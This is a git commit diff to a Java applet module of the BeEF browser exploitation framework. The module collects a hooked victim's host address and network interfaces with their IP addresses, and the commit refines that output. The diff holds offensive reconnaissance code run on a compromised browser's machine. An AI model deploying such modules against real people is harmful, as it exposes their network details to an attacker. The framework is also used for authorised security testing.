GetSystemInfo command module: improved description, network interfaces output and usage of JS api

git-svn-id: https://beef.googlecode.com/svn/trunk@1392 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-11-02 15:16:54 +00:00
parent 9bed6cf9fd
commit f9ba59c17d
5 changed files with 20 additions and 10 deletions

View File

@@ -105,12 +105,21 @@ public class getSystemInfo extends Applet {
// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());
result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";
// System.out.println("Network Interfaces:");
result += "Network Interfaces:\n";
result += "Network Interfaces (interface, name, IP):\n";
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
//System.out.println("\t"+networkInterface.toString());
result += "\t"+networkInterface.toString()+"\n";
result += networkInterface.getName() + ", ";
result += networkInterface.getDisplayName()+ ", ";
Enumeration inetAddresses = (networkInterface.getInetAddresses());
if(inetAddresses.hasMoreElements()){
while (inetAddresses.hasMoreElements()) {
InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();
result +=inetAddress.getHostAddress() + "\n";
}
}else{
result += "\n"; // in case we can't retrieve the address of some network interfaces
}
}
}
catch (Exception exception) {